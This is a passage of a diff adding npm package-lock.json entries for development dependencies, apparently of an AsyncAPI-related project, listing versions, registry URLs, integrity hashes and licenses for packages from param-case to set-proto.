+ "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "dot-case": "^3.0.4",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/param-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/parent-module": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
+ "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "callsites": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/parse-json": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
+ "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/code-frame": "^7.0.0",
+ "error-ex": "^1.3.1",
+ "json-parse-even-better-errors": "^2.3.0",
+ "lines-and-columns": "^1.1.6"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/parserapiv1": {
+ "name": "@asyncapi/parser",
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/@asyncapi/parser/-/parser-2.1.2.tgz",
+ "integrity": "sha512-2pHKnr2P8EujcrvZo4x4zNwsEIAg5vb1ZEhl2+OH0YBg8EYH/Xx73XZ+bbwLaYIg1gvFjm29jNB9UL3CMeDU5w==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@asyncapi/specs": "^5.1.0",
+ "@openapi-contrib/openapi-schema-to-json-schema": "~3.2.0",
+ "@stoplight/json": "^3.20.2",
+ "@stoplight/json-ref-readers": "^1.2.2",
+ "@stoplight/json-ref-resolver": "^3.1.5",
+ "@stoplight/spectral-core": "^1.16.1",
+ "@stoplight/spectral-functions": "^1.7.2",
+ "@stoplight/spectral-parsers": "^1.0.2",
+ "@stoplight/spectral-ref-resolver": "^1.0.3",
+ "@stoplight/types": "^13.12.0",
+ "@types/json-schema": "^7.0.11",
+ "@types/urijs": "^1.19.19",
+ "ajv": "^8.11.0",
+ "ajv-errors": "^3.0.0",
+ "ajv-formats": "^2.1.1",
+ "avsc": "^5.7.5",
+ "js-yaml": "^4.1.0",
+ "jsonpath-plus": "^7.2.0",
+ "node-fetch": "2.6.7"
+ }
+ },
+ "node_modules/parserapiv1/node_modules/@asyncapi/specs": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/@asyncapi/specs/-/specs-5.1.0.tgz",
+ "integrity": "sha512-yffhETqehkim43luMnPKOwzY0D0YtU4bKpORIXIaid6p5Y5kDLrMGJaEPkNieQp03HMjhjFrnUPtT8kvqe0+aQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@types/json-schema": "^7.0.11"
+ }
+ },
+ "node_modules/parserapiv1/node_modules/jsonpath-plus": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-7.2.0.tgz",
+ "integrity": "sha512-zBfiUPM5nD0YZSBT/o/fbCUlCcepMIdP0CJZxM1+KgA4f2T206f6VAg9e7mX35+KlMaIc5qXW34f3BnwJ3w+RA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12.0.0"
+ }
+ },
+ "node_modules/parserapiv2": {
+ "name": "@asyncapi/parser",
+ "version": "3.0.0-next-major-spec.8",
+ "resolved": "https://registry.npmjs.org/@asyncapi/parser/-/parser-3.0.0-next-major-spec.8.tgz",
+ "integrity": "sha512-d8ebYM08BCsx3Q4AeLke6naU/NrcAXFEVpS6b3EWcKRdUDce+v0X5k9aDH+YXWCaQApEF28UzcxhlSOJvhIFgQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@asyncapi/specs": "^6.0.0-next-major-spec.9",
+ "@openapi-contrib/openapi-schema-to-json-schema": "~3.2.0",
+ "@stoplight/json-ref-resolver": "^3.1.5",
+ "@stoplight/spectral-core": "^1.16.1",
+ "@stoplight/spectral-functions": "^1.7.2",
+ "@stoplight/spectral-parsers": "^1.0.2",
+ "@types/json-schema": "^7.0.11",
+ "@types/urijs": "^1.19.19",
+ "ajv": "^8.11.0",
+ "ajv-errors": "^3.0.0",
+ "ajv-formats": "^2.1.1",
+ "avsc": "^5.7.5",
+ "js-yaml": "^4.1.0",
+ "jsonpath-plus": "^7.2.0",
+ "node-fetch": "2.6.7",
+ "ramldt2jsonschema": "^1.2.3",
+ "webapi-parser": "^0.5.0"
+ }
+ },
+ "node_modules/parserapiv2/node_modules/jsonpath-plus": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-7.2.0.tgz",
+ "integrity": "sha512-zBfiUPM5nD0YZSBT/o/fbCUlCcepMIdP0CJZxM1+KgA4f2T206f6VAg9e7mX35+KlMaIc5qXW34f3BnwJ3w+RA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12.0.0"
+ }
+ },
+ "node_modules/pascal-case": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
+ "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "no-case": "^3.0.4",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/pascal-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/password-prompt": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/password-prompt/-/password-prompt-1.1.3.tgz",
+ "integrity": "sha512-HkrjG2aJlvF0t2BMH0e2LB/EHf3Lcq3fNMzy4GYHcQblAvOl+QQji1Lx7WRBMqpVK8p+KR7bCg7oqAMXtdgqyw==",
+ "dev": true,
+ "license": "0BSD",
+ "dependencies": {
+ "ansi-escapes": "^4.3.2",
+ "cross-spawn": "^7.0.3"
+ }
+ },
+ "node_modules/path-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/path-case/-/path-case-3.0.4.tgz",
+ "integrity": "sha512-qO4qCFjXqVTrcbPt/hQfhTQ+VhFsqNKOPtytgNKkKxSoEp3XPUQ8ObFuePylOIok5gjn69ry8XiULxCwot3Wfg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "dot-case": "^3.0.4",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/path-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/path-equal": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/path-equal/-/path-equal-1.2.5.tgz",
+ "integrity": "sha512-i73IctDr3F2W+bsOWDyyVm/lqsXO47aY9nsFZUjTT/aljSbkxHxxCoyZ9UUrM8jK0JVod+An+rl48RCsvWM+9g==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/path-expression-matcher": {
+ "version": "1.6.2",
+ "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.6.2.tgz",
+ "integrity": "sha512-enSlaiat05iasnzmgNxRj8reFdj3puY2QpNgP1aPIaVfT6nn9ICuPoFlKHk8EN22HcwewshO+mN2DGbkCEOtqQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/NaturalIntelligence"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=14.0.0"
+ }
+ },
+ "node_modules/path-is-absolute": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+ "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/path-key": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/path-type": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
+ "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/picocolors": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+ "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/picomatch": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+ "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8.6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/pony-cause": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/pony-cause/-/pony-cause-1.1.1.tgz",
+ "integrity": "sha512-PxkIc/2ZpLiEzQXu5YRDOUgBlfGYBY8156HY5ZcRAwwonMk5W/MrJP2LLkG/hF7GEQzaHo2aS7ho6ZLCOvf+6g==",
+ "dev": true,
+ "license": "0BSD",
+ "engines": {
+ "node": ">=12.0.0"
+ }
+ },
+ "node_modules/possible-typed-array-names": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz",
+ "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/protobufjs": {
+ "version": "7.6.5",
+ "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.5.tgz",
+ "integrity": "sha512-/FPD0nUc9jH6rfFjji9IBqOz4pcSE3CsT1m7Ep6Mdb0LxSUMj8hgl6GomOvZzpNpAqqGaXA0P3VSrZLFzIhQrw==",
+ "dev": true,
+ "hasInstallScript": true,
+ "license": "BSD-3-Clause",
+ "dependencies": {
+ "@protobufjs/aspromise": "^1.1.2",
+ "@protobufjs/base64": "^1.1.2",
+ "@protobufjs/codegen": "^2.0.5",
+ "@protobufjs/eventemitter": "^1.1.1",
+ "@protobufjs/fetch": "^1.1.1",
+ "@protobufjs/float": "^1.0.2",
+ "@protobufjs/path": "^1.1.2",
+ "@protobufjs/pool": "^1.1.0",
+ "@protobufjs/utf8": "^1.1.1",
+ "@types/node": ">=13.7.0",
+ "long": "^5.3.2"
+ },
+ "engines": {
+ "node": ">=12.0.0"
+ }
+ },
+ "node_modules/punycode": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+ "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/queue-microtask": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/ramldt2jsonschema": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/ramldt2jsonschema/-/ramldt2jsonschema-1.2.3.tgz",
+ "integrity": "sha512-+wLDAV2NNv9NkfEUOYStaDu/6RYgYXeC1zLtXE+dMU/jDfjpN4iJnBGycDwFTFaIQGosOQhxph7fEX6Mpwxdug==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "commander": "^5.0.0",
+ "js-yaml": "^3.14.0",
+ "json-schema-migrate": "^0.2.0",
+ "webapi-parser": "^0.5.0"
+ },
+ "bin": {
+ "dt2js": "bin/dt2js.js",
+ "js2dt": "bin/js2dt.js"
+ }
+ },
+ "node_modules/ramldt2jsonschema/node_modules/argparse": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "sprintf-js": "~1.0.2"
+ }
+ },
+ "node_modules/ramldt2jsonschema/node_modules/js-yaml": {
+ "version": "3.15.0",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.15.0.tgz",
+ "integrity": "sha512-ttBQIIQPDeLjpPOohtUdXuXUVoA2uIB6fEH9HyJ7234s5mBJ5wTx20njxplLZQgLaOfpmPQA7X2t5AX6tIPbog==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "argparse": "^1.0.7",
+ "esprima": "^4.0.0"
+ },
+ "bin": {
+ "js-yaml": "bin/js-yaml.js"
+ }
+ },
+ "node_modules/readable-stream": {
+ "version": "3.6.2",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
+ "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "inherits": "^2.0.3",
+ "string_decoder": "^1.1.1",
+ "util-deprecate": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/readdirp": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz",
+ "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 14.18.0"
+ },
+ "funding": {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ },
+ "node_modules/redeyed": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/redeyed/-/redeyed-2.1.1.tgz",
+ "integrity": "sha512-FNpGGo1DycYAdnrKFxCMmKYgo/mILAqtRYbkdQD8Ep/Hk2PQ5+aEAEx+IU713RTDmuBaH0c8P5ZozurNu5ObRQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "esprima": "~4.0.0"
+ }
+ },
+ "node_modules/reflect.getprototypeof": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz",
+ "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.9",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.0.0",
+ "get-intrinsic": "^1.2.7",
+ "get-proto": "^1.0.1",
+ "which-builtin-type": "^1.2.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/regexp.prototype.flags": {
+ "version": "1.5.4",
+ "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz",
+ "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "define-properties": "^1.2.1",
+ "es-errors": "^1.3.0",
+ "get-proto": "^1.0.1",
+ "gopd": "^1.2.0",
+ "set-function-name": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/require-directory": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
+ "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/require-from-string": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
+ "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/resolve-from": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+ "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/restore-cursor": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz",
+ "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "onetime": "^5.1.0",
+ "signal-exit": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/reusify": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",
+ "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "iojs": ">=1.0.0",
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/run-async": {
+ "version": "2.4.1",
+ "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz",
+ "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/run-parallel": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "queue-microtask": "^1.2.2"
+ }
+ },
+ "node_modules/rxjs": {
+ "version": "7.8.2",
+ "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz",
+ "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "tslib": "^2.1.0"
+ }
+ },
+ "node_modules/rxjs/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/safe-array-concat": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.4.tgz",
+ "integrity": "sha512-wtZlHyOje6OZTGqAoaDKxFkgRtkF9CnHAVnCHKfuj200wAgL+bSJhdsCD2l0Qx/2ekEXjPWcyKkfGb5CPboslg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.9",
+ "call-bound": "^1.0.4",
+ "get-intrinsic": "^1.3.0",
+ "has-symbols": "^1.1.0",
+ "isarray": "^2.0.5"
+ },
+ "engines": {
+ "node": ">=0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/safe-buffer": {
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+ "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/safe-push-apply": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz",
+ "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "isarray": "^2.0.5"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/safe-regex-test": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
+ "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "is-regex": "^1.2.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/safe-stable-stringify": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-1.1.1.tgz",
+ "integrity": "sha512-ERq4hUjKDbJfE4+XtZLFPCDi8Vb1JqaxAPTxWFLBx8XcAlf9Bda/ZJdVezs/NAfsMQScyIlUMx+Yeu7P7rx5jw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/safer-buffer": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/semver": {
+ "version": "7.8.5",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz",
+ "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==",
+ "dev": true,
+ "license": "ISC",
+ "bin": {
+ "semver": "bin/semver.js"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/sentence-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/sentence-case/-/sentence-case-3.0.4.tgz",
+ "integrity": "sha512-8LS0JInaQMCRoQ7YUytAo/xUu5W2XnQxV2HI/6uM6U7CITS1RqPElr30V6uIqyMKM9lJGRVFy5/4CuzcixNYSg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "no-case": "^3.0.4",
+ "tslib": "^2.0.3",
+ "upper-case-first": "^2.0.2"
+ }
+ },
+ "node_modules/sentence-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/set-function-length": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+ "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "define-data-property": "^1.1.4",
+ "es-errors": "^1.3.0",
+ "function-bind": "^1.1.2",
+ "get-intrinsic": "^1.2.4",
+ "gopd": "^1.0.1",
+ "has-property-descriptors": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/set-function-name": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz",
+ "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "define-data-property": "^1.1.4",
+ "es-errors": "^1.3.0",
+ "functions-have-names": "^1.2.3",
+ "has-property-descriptors": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/set-proto": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz",
